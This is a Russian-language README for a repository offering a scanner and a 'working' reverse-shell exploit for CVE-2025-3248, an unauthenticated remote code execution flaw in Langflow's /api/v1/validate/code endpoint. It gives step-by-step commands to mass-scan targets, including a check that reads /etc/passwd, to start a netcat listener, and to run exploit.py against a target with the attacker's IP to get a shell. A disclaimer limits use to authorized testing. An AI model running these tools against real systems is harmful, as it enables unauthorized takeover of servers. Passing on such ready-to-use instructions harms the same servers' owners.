CVE-2025-3248: Неаутентифицированное удалённое выполнение кода (RCE) в Langflow

Этот репозиторий содержит два Python-скрипта:

• LangflowCheck.py: Сканер, который проверяет экземпляры Langflow AI на уязвимость к CVE-2025-3248.
• exploit.py: Рабочий эксплойт reverse shell для уязвимых целей Langflow.

Краткое описание

CVE-2025-3248 — критическая уязвимость в Langflow AI, которая позволяет неаутентифицированным атакующим удалённо выполнять произвольный Python-код с помощью специально сформированной полезной нагрузки, отправляемой на /api/v1/validate/code.

Файлы

LangflowCheck.py

• Проверяет, уязвима ли цель, пытаясь выполнить безвредную полезную нагрузку, которая читает /etc/passwd.
• Может сканировать одну цель или список URL-адресов.
• Поддерживает сохранение уязвимых целей в файл.

exploit.py

• Отправляет полезную нагрузку reverse shell на уязвимую конечную точку.
• Требует IP-адрес атакующего (lhost) и порт прослушивания (lport).
• Записывает активность в журнал exploit.log.
• Поддерживает проверку слушателя перед отправкой полезной нагрузки.

Использование

1. Установка зависимостей

pip install -r requirements.txt

2. Запуск сканера уязвимостей

Одиночный URL

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

Несколько целей

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. Эксплуатация цели

Сначала запустите слушатель

sudo nc -nvlp 4444

Затем запустите эксплойт:

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

Если цель уязвима, вы должны получить shell.

⚠️ Отказ от ответственности

Этот эксплойт предназначен только для образовательного и авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Официальные каналы

• YouTube @rootctf
• X @r0otk3r